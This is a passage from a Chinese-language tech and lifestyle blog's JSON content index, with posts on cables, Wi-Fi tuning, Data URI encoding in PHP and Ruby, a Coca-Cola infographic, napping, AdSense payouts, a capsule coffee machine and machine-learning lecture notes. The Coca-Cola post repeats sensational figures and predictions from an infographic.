交換，其他的部分則跟一般的網路線相同。\n光纖電纜線（fiber optic cable）用於大量與高速的資料傳輸，例如高速網路與高畫值電視等。\n此電纜的主要結構是玻璃纖維，讓資料經過轉換之後，以光的形式在其中傳輸，跟以往以電的方式不同，其傳輸的速度遠大於以往的電纜線。\n你可能不知道，有些光纖其實非常細，甚至跟頭髮差不多。\n電話線（phone line）就是我們家中電話所使用的雙絞線（twisted pair），裡面的線兩兩纏在一起。\n這種線除了一般打電話之外，也可同時用於 ADSL 的上網，因為 DSL 的網路訊號使用的頻率比一般聲音的頻率高，所以不會互相干擾，也就是說當你在打電話時，也可以同時使用同一條線路上網。\n","permalink":"https://blog.gtwang.org/tips/cable-infographic/","summary":"\u003cp\u003e這理介紹生活中常見的各種電纜線構造與功用，讓你搞清楚各種電纜線的用途。\u003c/p\u003e\n\u003cp\u003e隨著無線傳輸技術的發展，生活中有些原本需要實體線路傳輸的資訊設備，現在慢慢都變成無線的，但是以目前無線傳輸的技術而言，不管是傳輸的距離或頻寬等等，都還跟不上有線的傳輸方式，尚無法全面取代有線的傳輸，因此在日常生活中我們還是多多少少會碰到各種的電纜線。\u003c/p\u003e","title":"各種電纜線（Cable）的構造與功用"},{"content":"這裡介紹大資料（big data）如何應用在教育上，幫助老師的教學與學生的學習。\n在許多的線上服務網站（如 Amazon 或 Netflix）都會針對不同的使用者特性，提供客制化的服務，而現在網路上也有很多線上學習網站，隨著這些網站與使用者數量的增加，就會產生很多的資料，藉著這些資料就可以分析出學習者的學習狀況，以及該如何針對每個學習者提供個別的客制化教材，並改善學習的成效。\n基本上我們可以利用資料採礦（data mining）的方法，從我們搜集的資料中找出我們有興趣的資訊，例如針對特定的學生，各個學習主題的先後順序應該如何安排？學生的哪些反應跟學習成效有關？或是有沒有哪些線上學習網站的特徵可以對學習者有所幫助等等。\n找出資料內的一些資訊之後，在經過一些分析（analytics），我們就可以推論出一些有用的結果，例如判斷某個學生該在何時進入下一個學習主題？某個學生在不進行進一步輔導的情況下，他最後的成績如何？或是某個學生是否需要個別的輔導或幫助等。\n而這整個學習系統大概可以分為六大步驟，而這六個步驟則構成一個循環：\n學生進入學習系統，獲得客制化的教材，並透過線上的互動，蒐集資料。 將搜集到的詳細資料（包含各種使用者經驗等）存入資料庫。 使用搜集到的使用者資料預測該學生未來的表現。 整理出預測報表，並整合一些使用者回饋。 針對該學生的程度與興趣，提供適合的教材。 老師或管理員在需要的時候進行個別輔導。 使用這些新的技術當然也會伴隨著一些成本與困難，例如要儲存大量資料就需要一筆經費維持硬體設備與技術人員，不同的系統間的整和不是一件容易的事，要從大資料中分析出簡要的資訊也很困難，有時候連要拿哪些資料來分析都是很難決定的事情，另外隱私與道德問題也是需要妥善處理的。\n最後這張圖給了一些建議，到底該怎麼做，首先要先有一套這樣的想法，然後找資訊背景的人處理大資料的儲存與使用問題，然後在購買學習軟體之前，要先了解這些軟體，最後找一個特定的領域，開始施行，最後看看學生的反應如何。\n這裡看起來規劃的很理想，但是其實這裡面有很多很難處理的問題，牽涉到各種軟體、硬體、統計分析、甚至是行為科學等等，真的要做恐怕沒有想像中容易，應該無法在短時間內就做出來，不過對於這些相關領域的研究者而言，倒是個好消息，因為這裡面就會產生許多可以進一步研究的主題。\n","permalink":"https://blog.gtwang.org/funny/big-data-improve-education-infographic/","summary":"\u003cp\u003e這裡介紹大資料（big data）如何應用在教育上，幫助老師的教學與學生的學習。\u003c/p\u003e\n\u003cp\u003e在許多的線上服務網站（如 Amazon 或 Netflix）都會針對不同的使用者特性，提供客制化的服務，而現在網路上也有很多線上學習網站，隨著這些網站與使用者數量的增加，就會產生很多的資料，藉著這些資料就可以分析出學習者的學習狀況，以及該如何針對每個學習者提供個別的客制化教材，並改善學習的成效。\u003c/p\u003e","title":"大資料（Big Data）在教育上的應用"},{"content":"這裡介紹一些可以改善 Wi-Fi 無線網路訊號的方法，透過這些方法可以提升無線網路的訊號品質。\n現今科技日新月異，幾年前我們還在使用傳統的乙太網路，要用網路時就要接上一條 RJ-45 的網路 cable 線，而現在幾乎家家戶戶都有 Wi-Fi 無線網路的設備，像現在一般 ADSL 的數據機也都有內建 Wi-Fi 無線網路的模組，甚至在一些公共場所都有提供免費的無線上網服務，另外現在的筆記型電腦、平板電腦或手機都一定有內建 Wi-Fi 無線網路卡，Wi-Fi 在這個時代真的是無所不在。\n然而一般在使用 Wi-Fi 無線網路時，最常會遇到的問題就是收訊不良，倒是網路品質下降，直接影響上傳與下載的速度，以下介紹一些可以讓你改善 Wi-Fi 無線網路訊號的方式。\n改變路由器（Router）的放置地點 有些人可能會把礙眼的無線路由器放在牆角或是鎖在櫃子裡（我不知道是否真的有人這樣做），這樣的方式可能會影響無線網路的品質。\n目前一般市面上常見的 Wi-Fi 無線路由器，大都是使用全向式（omni-directional）的天線，就像下面這張圖，可能有長有短，不過大同小異。\n這種天線的 radiation pattern 是沒有特定方向的，就像甜甜圈的形狀，所以如果想要獲得最佳的網路品質，應該把無線路由器放在屋子中央的位置，這樣在屋子內部的訓好品質就會比較好。\n無線網路的訊號跟聲音類似，也會被牆壁或傢俱等物體遮蔽，所以如果將其放在遮蔽物較多的空間，也會讓訊號更容易衰減，影響網路品質。\n更新路由器的韌體（Firmware） 無線路由器的廠商通常會持續更新它們的韌體，韌體的更新速度可能比不上 iPhone 的更新速度，但是通常這種韌體的更新可以改善無線路由器的效能，有時候對於 Wi-Fi 訊號也會有影響，所以你可以定期連上路由器廠商的網站，看看是否有新的韌體可以下載。\n改變 Wi-Fi 頻道（Channel） 改變 Wi-Fi 的頻道雖然感覺上有點複雜，但是其實不難，就跟你用手調整收音機一樣簡單。\n無線路由器跟一般的廣播電台一樣，有好幾的頻道，有時候訊號受到干擾時，有些頻道的訊號可能就會比較不清楚，而如果想要獲得較好的訊號品質，就必須選擇干擾較少的頻道來使用。\n由於無線網路 802.11 的標準規定只能使用 2.4 GHz 這個波段來傳輸訊號，而這個波段也會被無線電話、車庫遙控器、藍牙耳機等裝置所使用，這些裝置如果都使用相同頻率時，就會產生干擾。\n要更改路由器的頻道，通常只要連上路由器的網頁管理界面，登入之後就可以更改，就像下面這張圖。\n詳細的操作過程，可以參考無線路由器的說明書。以下是常見的路由器廠商與其網頁管理的網址：\nRouter Address D-Link http://192.168.0.1 Linksys http://192.168.1.1 Netgear http://192.168.0.1 Belkin http://192.168.2.1 Cisco http://192.168.1.1 Buffalo http://192.168.11.1 而預設的帳號與密碼，可以參考 Router Passwords。\n使用高增益天線（High-Gain Antenna） 一般路由器所附贈的全向性天線可以幫助訊號發送到每個方向，對於大部分的人應該都適用，但如果你需要把訊號集中在某個特定方向上時，這樣的全向性天線就不太適合。\n高增益天線可以讓你把訊號集中朝某個方向發射，這種天線對於某些較狹窄的空間會有很大的幫助。\n如果你的無線路由器沒有附贈天線，那當你購買天線時，就可以依照自己的空間，考慮購買高增益的天線。\n如果你已經有一組全向性天線的話，也可以自行用一個鋁罐把它改造一下，讓它有高增益天線的效果，因為金屬可以有效反射無線網路的訊號，所以我們可以利用這種特性來製作一個簡易的高增益天線。\n先把喝完的鋁罐洗乾淨，然後用剪刀剪開，因為要讓訊號反射到同一個方向，所以要剪成一個弧形。\n然後套在原本的全向性天線上，這樣所有的訊號就會被鋁罐反射到同一個方向上，在這個方向的訊號就會比較強。\n使用無線網路中繼器（Repeater）或延伸器（Extender） 使用無線網路中繼器是一個可以不用拉線就可以拓展無線網路收訊範圍的選擇，其價格通常不會太貴，現在有許多路由器也都可以當成中繼器使用，只是設定上比較複雜而已。\n除了中繼器，你也可以拿另外一個路由器當成延伸器來使用，不過這種方式就要拉一條網路線接到主要的路由器上，比較不方便。\n關於這部分的詳細做法，可以參考電腦王的教學文章。\n加強無線網路的安全性 嚴格來說，無線網路的安全性跟速度與品質沒有直接的關係，不過如果你的無線網路完全沒有加密，那麼任何人都可以來使用，甚至攻擊你的網路，這就會造成影響。\n關於無線網路的安全性，可以參考如何加強 WiFi 無線網路的安全性。\n升級無線路由器 如果你嘗試了以上所有的方式，而且都沒有用的話，那麼你可能就可以考慮買一個新的無線路由器了，通常各家廠商在生產路由器都會符合一定的標準，讓各家廠商的設備都可以混合使用，但是如果你的路由器太老舊（如 802.11b 或 802.11g），那你就可以考慮升級成新一點的版本（如 802.11ac）。\n在升級時也要考慮其它相關的設備是否相容，但如果只是簡單的升級，通常是不會造成什麼問題的。\n參考資料 digital trends ","permalink":"https://blog.gtwang.org/tips/how-to-boost-your-wi-fi-signal/","summary":"\u003cp\u003e這裡介紹一些可以改善 Wi-Fi 無線網路訊號的方法，透過這些方法可以提升無線網路的訊號品質。\u003c/p\u003e\n\u003cp\u003e現今科技日新月異，幾年前我們還在使用傳統的乙太網路，要用網路時就要接上一條 RJ-45 的網路 cable 線，而現在幾乎家家戶戶都有 Wi-Fi 無線網路的設備，像現在一般 ADSL 的數據機也都有內建 Wi-Fi 無線網路的模組，甚至在一些公共場所都有提供免費的無線上網服務，另外現在的筆記型電腦、平板電腦或手機都一定有內建 Wi-Fi 無線網路卡，Wi-Fi 在這個時代真的是無所不在。\u003c/p\u003e","title":"如何加強 Wi-Fi 無線網路的訊號"},{"content":"這張圖揭露了一些關於可口可樂的一些秘密，也許你知道之後，就不會那麼喜歡喝它了。\n以下是一些重點：\n可口可樂公司每年推出 28 種新產品，4 種商標，可口可樂 Logo 的知名度比耶穌的十字架還要更高。\n每天兩瓶可口可樂對於健康的影響不亞於香煙。\n可口可樂公司每年的營業額達 370 億歐元，而其花費在廣告行銷上的經費高達 20 億歐元。\n全世界只有三個人知道可口可樂的配方。\n製造四瓶可口可樂大約需要十瓶的水（浪費六瓶），可口可樂公司每年生產 1140 億公升的可口可樂，也浪費了 1760 億公升的水。\n一杯 330ml 的可口可樂含糖量相當於 7 塊方糖，一瓶兩公升的可口可樂則相當於 42 塊方糖，這也是產生肥胖的因素之一。喝可口可樂會讓過胖的機率增加 60%。\n全世界可口可樂的需求量甚至比水還要高，在墨西哥每人每年喝掉了 225 公升的可口可樂，在 2013 年墨西哥有七成的人口是過胖的，若這個狀況沒有改善，在 2020 年的時候，墨西哥可能會變成所有人都過胖的狀況。\n","permalink":"https://blog.gtwang.org/funny/behind-coca-cola/","summary":"\u003cp\u003e這張圖揭露了一些關於可口可樂的一些秘密，也許你知道之後，就不會那麼喜歡喝它了。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"BehindCocaCola\" loading=\"lazy\" src=\"/funny/behind-coca-cola/BehindCocaCola.png\"\u003e\u003c/p\u003e\n\u003cp\u003e以下是一些重點：\u003c/p\u003e\n\u003cp\u003e可口可樂公司每年推出 28 種新產品，4 種商標，可口可樂 Logo 的知名度比耶穌的十字架還要更高。\u003c/p\u003e","title":"你所不知道的可口可樂（Coca Cola）"},{"content":"這是一張以程式語言的觀點來看近 20 年內開放原始碼的發展狀況的圖形，其中可約略看出各種程式語言的發展趨勢。\n現今資訊科技以爆炸性的速度發展，其歷史大約可以大約可以追溯到 80 年代末期到 90 年代初期左右，當時因為個人電腦與網際網路的發展，讓整個世界隨之改觀。\n除了大家的到的硬體發展（例如過去知名的摩爾定律，Moore\u0026rsquo;s Law）之外，其實程式語言的演進也非常迅速，大部分的程式語言都是開放式的，也就是說任何人都可以使用，並且添加自己開發的功能，所以一般的程式語言都會不斷的演進，推陳出新。\n在 1993 年的時候，在開放原始碼的陣營中，排名前三的程式語言分別為 C、Emacs Lisp 與 Make，光 C 語言佔了 51% 的比例，Lisp 也佔了 33%，而後來因為新興的程式語言不斷發展，這些老舊的語言也跟著節節敗退，雖然在 Git 出現之後，C 語言扳回一成，但後來終究敵不過整體的發展趨勢。\n現在 2013 年前三名的程式語言變成 Java（12%）、C++（11%）與 HTML（10%），原本的 Lisp 現在甚至已經很少人聽過了，另外這時候的局勢跟 20 年前大不相同，各種語言並駕齊驅，前三名的語言所佔的比例合起來也才只有 33% 而以。\n在這張圖的左下角統計了所有程式語言的總數，在 90 年代初期，大約只有 40 種程式語言，而現在卻有將近 100 種，平均一年就出現 3 種新的程式語言，這種成長速度也是非常驚人。\n在這張圖的右下角有個 Influence 圖，顯示了各種程式語言的發展關係，有一些新的程式語言是根據舊的程式語言改良之後所出現的，所以會有一些關聯性，像 C 語言加入物件導向的支援之後，就變成了 C++ 這個新語言。\n參考資料 readwrite ","permalink":"https://blog.gtwang.org/funny/a-visual-history-of-the-last-20-years-of-open-source-code/","summary":"\u003cp\u003e這是一張以程式語言的觀點來看近 20 年內開放原始碼的發展狀況的圖形，其中可約略看出各種程式語言的發展趨勢。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"a-brief-history-of-opensource-code\" loading=\"lazy\" src=\"/funny/a-visual-history-of-the-last-20-years-of-open-source-code/a-brief-history-of-opensource-code.png\"\u003e\u003c/p\u003e\n\u003cp\u003e現今資訊科技以爆炸性的速度發展，其歷史大約可以大約可以追溯到 80 年代末期到 90 年代初期左右，當時因為個人電腦與網際網路的發展，讓整個世界隨之改觀。\u003c/p\u003e","title":"以程式語言的觀點來看近 20 年內開放原始碼的發展狀況"},{"content":"這是網路上流傳已久的一張圖，如果你不知道程式設計師在做什麼，看這張圖你就會知道了。\n這張圖以一間廁所來比喻軟體工程，程式在開發時會有各種工具與組件，看這張圖你就會很清楚每個元件所扮演的角色與重要性在哪裡。\n當程式出問題的時候，Output 沒出來（馬桶塞住），你就會需要除錯工具 Debugging Tool 工具來幫你除錯（通馬桶）。另外如果程式沒有好的使用者介面 User Interface（馬桶座），雖然還是可以使用（大便），但是使用上就會不方便（屁股不舒服）。至於其他的部分大家就自己體會吧。:)\n因為這張圖太經典了，所以在網路上你只要搜尋「Understanding The Technology」就會看到各式各樣的版本，上面的圖就是其中一張。\n在 Teddy 的部落格文章中也以這張圖詮釋了軟體開發和大便的關係，因為個人感覺實在是寫得太經典了，所以也建議大家去看一下。\n","permalink":"https://blog.gtwang.org/funny/understanding-the-technology-by-toilet/","summary":"\u003cp\u003e這是網路上流傳已久的一張圖，如果你不知道程式設計師在做什麼，看這張圖你就會知道了。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"toilet\" loading=\"lazy\" src=\"/funny/understanding-the-technology-by-toilet/toilet.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這張圖以一間廁所來比喻軟體工程，程式在開發時會有各種工具與組件，看這張圖你就會很清楚每個元件所扮演的角色與重要性在哪裡。\u003c/p\u003e","title":"以廁所馬桶認識軟體工程：很搞笑，但也很切合實際"},{"content":"VIM Adventures 是一個線上小遊戲，它可以讓你一邊玩遊戲，一邊學會 VIM 編輯器的使用方式。\nVIM 是一個很傳統的文字編輯器，也是 UNIX 與 Linux 系統中標準的文字編輯器之一，但是因為它的操作方式與指令都很獨特，如果是剛入門的使用者通常都會感覺很難使用，有一定的學習門檻，如果沒用過 VIM 的人直接進入文字模式學習的話，通常都不會有太大的學習動力，而且學起來也很痛苦。\nVIM Adventures 是一個仿照 VIM 的操作模式來設計的線上小遊戲，它的目的就是讓 VIM 的初學者可以一邊玩遊戲，一邊學習 VIM 複雜的鍵盤操作，這樣可以讓學習的過程不會那麼枯燥，在不知不覺中你就會習慣 VIM 的鍵盤操作模式，比起一般的學習過程應該會好很多。\n這個遊戲設計得很有趣，你在遊戲的過程中如果要拿到過關的鎖匙，你就一定要使用各式各樣的 VIM 鍵盤操作方式，你一定要學會該關卡的操作方式才能過關，所以遊戲玩到最後不知不覺就變成 VIM 高手了。\n","permalink":"https://blog.gtwang.org/game/vim-adventures/","summary":"\u003cp\u003e\u003ca href=\"https://vim-adventures.com/\"\u003eVIM Adventures\u003c/a\u003e 是一個線上小遊戲，它可以讓你一邊玩遊戲，一邊學會 VIM 編輯器的使用方式。\u003c/p\u003e\n\u003cp\u003eVIM 是一個很傳統的文字編輯器，也是 UNIX 與 Linux 系統中標準的文字編輯器之一，但是因為它的操作方式與指令都很獨特，如果是剛入門的使用者通常都會感覺很難使用，有一定的學習門檻，如果沒用過 VIM 的人直接進入文字模式學習的話，通常都不會有太大的學習動力，而且學起來也很痛苦。\u003c/p\u003e","title":"VIM Adventures：玩遊戲學 VIM"},{"content":"這裡介紹該如何睡午覺才能睡得好，不會浪費時間，也讓下午更有精神。\n睡午覺這件小事情其實也有學問的，該在什麼時間睡？在哪裡睡？以及睡多久？這些都會關係到午睡的品質，下面這張圖說明了午覺該怎麼睡才會比較好。\n根據這張圖的分析，睡午覺最佳的時間是在下午 1:00 到 4:00 之間，對大部分的人而言，這個時間應該就是剛好在午餐之後，平常在上班的時候時間不多，通常大概只能選擇 10 到 20 分鐘的午睡，這樣短時間的午睡既可以讓你立刻恢復精神又不會佔用太多的時間，是一個最好的選擇之一。\n另外一個比較好的午睡長度是一個多小時，這樣長時間的午睡可以讓身體獲得充分的休息，在醒來之後也比較不會昏昏欲睡，不過如果是在上班時間，通常不會有機會這樣睡，大概只有假日在家的時候才有辦法。\n圖中的 sleep inertia 就是指醒來之後還會想睡覺、昏昏欲睡的意思，這也是有些人不午睡的原因，如果午睡的時間介於 30 分鐘到 1 小時，就會容易有這樣的狀況。\n想要有一個好的午睡品質，可以找個安靜的地方，設定好鬧鐘，讓自己不要睡太久，在醒來之後就會比較有精神，不會感覺頭昏腦脹還想睡覺，更可以讓下午的工作更有效率。\n睡覺的地點則是見仁見智，只要你感覺舒服的地方都可以，但是若要避免深層睡眠，最好不要平躺着睡。\n","permalink":"https://blog.gtwang.org/tips/how-to-take-the-perfect-nap/","summary":"\u003cp\u003e這裡介紹該如何睡午覺才能睡得好，不會浪費時間，也讓下午更有精神。\u003c/p\u003e\n\u003cp\u003e睡午覺這件小事情其實也有學問的，該在什麼時間睡？在哪裡睡？以及睡多久？這些都會關係到午睡的品質，下面這張圖說明了午覺該怎麼睡才會比較好。\u003c/p\u003e","title":"如何睡午覺才能讓下午更有精神？"},{"content":"這裡介紹如何使用 Data URI 的方式減少 HTTP 的請求（Request）數量，讓網頁載入速度變得更快。\n為什麼要使用 Data URI？ 網頁的載入速度對於一個網站而言是很重要的，在載入一張網頁時，瀏覽器會針對網頁中的每一個元素都產生一個 HTTP 請求（request），使用這些請求來跟伺服器取得這些元素，而網頁中的圖片就是最常見的例子，如果網頁中包含很多圖片，那麼網頁在載入時就會產生很多的請求，情況就會像這樣：\n有一些網頁設計者會使用 CSS image sprites 的方式來避免產生過多的請求，而 Data URI 也是另一種很不錯的替代方案。\nData URI 是一種檔案格式，其資料全部都是經過 base64 編碼之後，以文字的方式來儲存的，這樣以文字方式儲存的好處就是可以直接寫進 HTML 或 CSS 中，不需要透過外部的檔案儲存。\nData URI 的格式長成這樣：\ndata:[\u0026lt;mime type\u0026gt;][;base64],\u0026lt;data\u0026gt; 下面這個是一張圖片使用 Data URI 的格式來表示的例子：\ndata:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADoAAAA6CAYAAADhu0ooAAAFP0lEQVR4nO2bX0gcRxzH...[略] 後面的資料因為非常長，所以就省略了，下面這張圖就是使用 Data URI 來表示的圖片：\n看起來跟一般的圖片其實沒什麼兩樣，但是因為這樣的方式是直接寫在 HTML 或 CSS 中，可以省去原本抓取該圖檔的請求。\n這樣的 Data URI 表示除了用在圖片上之外，也可以應用於其他類型的檔案，甚至把一張 HTML 網頁使用這樣的方式放在另一張網頁中。\n針對 iPhone 或是 iPad 所設計的網頁，通常會使用 SVG 圖檔以避免因為解析度不同而造成的模糊，而這樣的狀況亦可配合 Data URI 讓網頁的載入更順暢。\nData URI 的缺點 雖然 Data URI 可以減少 HTTP 請求的數量，但是也有一些缺點。\n快取 一般網頁中的圖片都是使用個別的檔案儲存圖片，在這種情況下圖片與網頁是分開的，瀏覽器就可以對圖片做一些快取的動作，但是如果使用 Data URI，所有的資料都是在網頁中，就無法使用快取。\n搜尋速度 由於經過 base64 編碼過後的資料通常會非常的長，如果把這麼長的文字直接寫進 HTML 網頁中，使用一般的文字編輯器在其中搜尋關鍵字時，就會變得比較慢（因為 HTML 網頁檔變得非常大），不過這個問題通常只會發生在網頁的開發者身上，一般使用者不會遇到這個問題。\n如果想解決這個問題，可以試試看使用 SASS partial 的方式，將 Data URI 與一般的網頁分開，使用變數的方式引入，這樣就可以讓 HTML 網頁的程式碼保持很乾淨的狀態。\n更新資料 因為 Data URI 是經過編碼之後儲存在 HTML 或 CSS 中的，所以如果這些資料要變更時，就要重新進行編碼，不過這個問題也可以使用 SASS 與 Compass 來處理，下面的會介紹如何使用使用這樣的方式來解決這個問題。\n如何將資料編碼？ 若要把一個檔案轉成 Data URI 的格式，方法有很多，除了手動轉檔之外，也可以寫成自動化的程式來處理。\n線上編碼工具 如果你上 Google 搜尋這類的編碼工具，應該會發現非常多線上的編碼工具，只要把想要進行編碼的檔案拖進去，馬上就可以得到 Data URI 的編碼結果。\n使用 PHP 如果你的網頁本身是使用 PHP 寫的，就可以考慮使用 PHP 內建的 base64 編碼函數 base64_encode()，例如：\n\u0026lt;?php function create_data_uri($source_file, $mime_type) { $encoded_string = base64_encode(file_get_contents($source_file)); echo (\u0026#39;data:\u0026#39; . $mime_type . \u0026#39;;base64,\u0026#39; . $encoded_string); } ?\u0026gt; 這裡定義了一個 create_data_uri() 函數，它可以將圖檔自動轉換為 Data URI 的格式，使用方式是這樣：\n\u0026lt;img alt=\u0026#34;Logo\u0026#34; src=\u0026#34;\u0026lt;?php create_data_uri(\u0026#39;logo.png\u0026#39;, \u0026#39;png\u0026#39;) ?\u0026gt;\u0026#34; /\u0026gt; 你甚至可以將這樣的 PHP 程式用於 CSS 檔案中，在 CSS 檔中使用 PHP 的方式可以參考 using PHP inside CSS。\n使用 Ruby And Rails 若要在 Ruby and Rails 中使用 base64 編碼的函數，必須要先引入 base64 這個函式庫，而其 create_data_uri() 函數寫法是這樣：\nrequire \u0026#39;base64\u0026#39; def create_data_uri(source_file, mime_type) file_contents = File.open(source_file) { |f| f.read } encoded_string = Base64.encode64(file_contents) puts \u0026#34;data:#{mime_type};base64,#{encoded_string}\u0026#34; end 使用方式是這樣：\n\u0026lt;img alt=\u0026#34;Logo\u0026#34; src=\u0026#34;\u0026lt;%= create_data_uri(\u0026#39;logo.gif\u0026#39;, \u0026#39;gif\u0026#39;) %\u0026gt;;\u0026#34; /\u0026gt; 使用 Compass 與 SASS Compass 提供了一個很有用的函數 inline-image，如果你有使用 Compass 的話，就可以直接在 SASS 檔中使用這個函數：\nbody { background: inline-image(\u0026#34;../images/logo.png\u0026#34;) } 因為這樣的方式是直接指向一個外部的檔案，所以如果該圖檔需要更動，也不會太麻煩，更換之後 Compass 會自動將新的檔案編譯成 CSS。\n瀏覽器的支援 基本上現在大部分的瀏覽器都已經支援 Data URI 了，而 IE 9 因為一些安全性問題所以不支援，若要解決這個問題，可以使用 CSS 針對 IE 瀏覽器特別寫一個沒有使用 Data URI 的版本，或是使用 Progressive Enhancement 方式來處理。\n效能 Data URI 已經被認為是一個減少 HTTP 請求的最佳方案，而經過測試確實可以得到不錯的效能。\n雖然大部分的的情況 Data URI 可以加速網頁的載入，但是最近有一篇測試報告顯示在手持系統上，Data URI 比一般的網頁慢 6 倍，所以 Data URI 在使用上還是要依照自己的需求來考量。\n","permalink":"https://blog.gtwang.org/web-development/minimizing-http-request-using-data-uri/","summary":"\u003cp\u003e這裡介紹如何使用 Data URI 的方式減少 HTTP 的請求（Request）數量，讓網頁載入速度變得更快。\u003c/p\u003e\n\u003ch2 id=\"為什麼要使用-data-uri\"\u003e為什麼要使用 Data URI？\u003c/h2\u003e\n\u003cp\u003e網頁的載入速度對於一個網站而言是很重要的，在載入一張網頁時，瀏覽器會針對網頁中的每一個元素都產生一個 HTTP 請求（request），使用這些請求來跟伺服器取得這些元素，而網頁中的圖片就是最常見的例子，如果網頁中包含很多圖片，那麼網頁在載入時就會產生很多的請求，情況就會像這樣：\u003c/p\u003e","title":"使用 DATA URI 將圖片以 Base64 編碼並內崁至網頁中，加速載入速度"},{"content":"這裡分享我到大眾銀行透過西聯匯款領取 Google AdSense 廣告費的經驗。\nGoogle AdSense 廣告費的領取方式分為兩種，一種是支票，另一種是西聯匯款（Western Union）。支票比較麻煩，要等上兩三週，而如果使用快遞寄支票雖然比較快，但是還要多支付 24 元美金的手續費，很不划算。而西聯匯款則非常方便，Google 只要一撥款，隔天就可以在台灣的幾家銀行直接領錢了，而且不用手續費，非常經濟又方便！\nGoogle 在撥款的時候應該會告訴你下面這些資訊：\n付款方式：西聯快匯 付款日期：2013/8/26 匯款處理編號（MTCN）：00XXXXXX27 以付款貨幣顯示的金額：USD US$104.22 只要記好匯款處理編號（MTCN）與金額，再帶著證件（身分證等）就可以去有辦理西聯匯款的銀行領錢了，這裡我是跑去大眾銀行，下面這張就是要填寫的匯款單。\n基本上就是把該填的填一填，就可以直接領錢了，非常方便且快速。因為 Google 撥款時是以美金來計算，而在台灣領款時就會依照當時的匯率轉換成台幣，所以這次 Google 給我 104.22 美金，依據當時的匯率（29.588）轉換為台幣之後，就是 3048 元。\n","permalink":"https://blog.gtwang.org/life/western-union-google-adsense/","summary":"\u003cp\u003e這裡分享我到大眾銀行透過西聯匯款領取 Google AdSense 廣告費的經驗。\u003c/p\u003e\n\u003cp\u003eGoogle AdSense 廣告費的領取方式分為兩種，一種是支票，另一種是西聯匯款（Western Union）。支票比較麻煩，要等上兩三週，而如果使用快遞寄支票雖然比較快，但是還要多支付 24 元美金的手續費，很不划算。而西聯匯款則非常方便，Google 只要一撥款，隔天就可以在台灣的幾家銀行直接領錢了，而且不用手續費，非常經濟又方便！\u003c/p\u003e","title":"去大眾銀行透過西聯匯款領取 Google AdSense 廣告費"},{"content":"這是同事從好市多（Costco）買的雀巢膠囊咖啡機 NESCAFÉ Dolce Gusto，如果你是很愛喝咖啡又不想洗一堆器具的人，買這台會很划算。\n這台咖啡機只能使用雀巢自己出的咖啡膠囊，這樣一盒官方售價是 229 元，裡面有 16 個咖啡膠囊。\n以這種美式咖啡來說，一個膠囊就可以泡一杯咖啡，經過換算之後，一杯美式咖啡的價格大約是 14.3 元。\n但如果是拿鐵的話，除了咖啡之外還有牛奶的部分，這樣一盒膠囊就會有八顆是咖啡，另外八顆則是牛奶。\n大家可以看到裡面的膠囊分為兩種，在沖泡的時候，一次就要用兩顆，也就是說一杯拿鐵大約要 28.6 元，不果應該還是比外面賣的便宜許多。\n膠囊上面左方會標示需要的水量，沖泡的時候就要按照這個指示來調節咖啡機上的水量。\n咖啡機上方有調節水量的滾輪，還有冷熱的設定鈕。\n沖泡時按照指示調節水量之後，再將膠囊放入咖啡機。\n按下開關後就會開始沖泡，它沖泡時是把蒸汽打入膠囊中，再沖出咖啡，所以這台咖啡機很耗電（1500 瓦），在使用上要注意，別跟其它耗電的電器一起使用，而剛使用完的膠囊也很燙，要小心別被燙到。\n使用膠囊咖啡機所泡出來的咖啡感覺很不錯，不會輸 7-11 賣的，奶泡也會幫你打好，重點是很便宜又方便。\n基本上咖啡機會容易髒的地方就是膠囊下方咖啡流出的孔，而因為膠囊使用完就丟了，所以其實整台咖啡機不怎需要清理。\n這款 Piccolo 咖啡機後面的水箱比較小，屬於個人用的，它的水量一次大概只能泡兩杯，不過一般個人應該是很夠用了。\n如果想要比較大的水箱，可以買另一款 Melody，它的水箱就大很多。\n","permalink":"https://blog.gtwang.org/life/nescafe-dolce-gusto/","summary":"\u003cp\u003e這是同事從好市多（Costco）買的雀巢膠囊咖啡機 NESCAFÉ Dolce Gusto，如果你是很愛喝咖啡又不想洗一堆器具的人，買這台會很划算。\u003c/p\u003e\n\u003cp\u003e這台咖啡機只能使用雀巢自己出的咖啡膠囊，這樣一盒官方售價是 229 元，裡面有 16 個咖啡膠囊。\u003c/p\u003e","title":"雀巢膠囊咖啡機 NESCAFÉ Dolce Gusto 使用小心得"},{"content":"本篇為史丹佛大學機器學習（Machine Learning）課程 Lecture 3 的前半段筆記，接續 Lecture 2 的內容。\nLecture 3 的線上課程錄影可以從 YouTube 網站上觀看。\n這裡老師上課的順序跟 Lecture note 上的不太一樣，我整理的時候都是按照 Lecture note 上的順序，再加上一些老師上課補充的部分，但基本上內容都是相同的。\n機率上的解釋（Probabilistic Interpretation） 在前面的線性迴歸問題當中，那個最小平方的 cost function \\(J\\) 是怎麼來的？為什麼可以這樣定義？在這裡我們將在一些機率的假設下，解釋他是怎麼來的。\n這裡我們設目標變數（target variable）與輸入變數（input variable）之間的關係符合 \\[y^{(i)}=\\theta^Tx^{(i)}+\\epsilon^{(i)}\\] 其中 \\(\\epsilon^{(i)}\\) 是一個誤差項（error term），而這個誤差除了包含一些隨機的誤差之外，也可能包含一些沒有被納入迴歸模型的變數（例如可能有一些對於房價影響很大的變數沒有被我們發現）。接著我們假設 \\(\\epsilon^{(i)}\\) 的分配是 IID（independently and identically distributed，獨立且同分配）的高斯分佈（Gaussian distribution），或稱為常態分佈（Normal distribution），平均數（mean）為零，變異數（variance）為 \\(\\sigma^2\\)，這樣的假設可以寫成「\\(\\epsilon^{(i)} \\sim \\mathcal{N}(0,\\sigma^2)\\)」，所以 \\(\\epsilon^{(i)}\\) 的機率密度函數為 \\[p(\\epsilon^{(i)})=\\frac{1}{\\sqrt{2\\pi}\\sigma}\\exp\\Big(-\\frac{(\\epsilon^{(i)})^2}{2\\sigma^2}\\Big)\\] 所以我們可以直接得到 \\[p(y^{(i)}\\mid 